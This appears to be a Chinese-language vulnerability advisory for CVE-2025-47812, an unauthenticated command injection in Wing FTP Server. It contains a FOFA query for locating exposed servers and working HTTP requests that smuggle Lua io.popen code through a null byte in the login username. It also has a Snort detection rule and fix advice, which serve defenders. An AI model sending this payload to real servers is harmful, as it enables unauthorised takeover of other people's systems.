跳转至

WingFtpServer-CVE-2025-47812-远程命令执行

WingFtpServer-CVE-2025-47812-远程命令执行，攻击者可未经授权进行命令执行，导致服务器被控。

影响版本

Wing FTP Server <= 7.4.3

漏洞状态

漏洞细节 漏洞POC 漏洞EXP 在野利用
是 已公开 已公开 已知

风险等级

维度 评价
威胁等级 高危
影响面 广
攻击者价值 高
利用难度 低

漏洞复现

FOFA：icon_hash="963565804" || title="Wing FTP Server"

POC/EXP：前提条件在服务器上启用了匿名登陆才可利用

POST /loginok.html HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.3.1 Mobile/15E148 Safari/604.1
Connection: close
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

username=anonymous%00]]%0dlocal+h+%3d+io.popen("echo CVE-2025-417812")%0dlocal+r+%3d+h%3aread("*a")%0dh%3aclose()%0dprint(r)%0d--&password=

image-20250704153804723

POC/EXP：取响应中UID

GET /dir.html HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36
Connection: close
Cookie: UID=5e3a95b82ec3fd04bb0212d5ddee8ef15fc61c83c9ea04fd714f84b624dda456
Accept-Encoding: gzip

image-20250704153851425

snort规则：

alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (
    msg:"WingFtpServer - Lua Command Injection via Login (CVE-2025-47812)";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/loginok.html"; http_uri;
    content:"username="; http_client_body;
    pcre:"/username=[^\r\n]*%00.*(io\.popen|os\.execute)/i";
    metadata:service http;
    metadata:affected_product "WingFtpServer";
    metadata:vulnerability_type "Command Injection";
    reference:cve,CVE-2025-47812;
    classtype:web-application-attack;
    sid:1000230;
    rev:1;
    priority:1;
)

漏洞修复

关闭互联网暴露面或接口设置访问权限

升级至安全版本。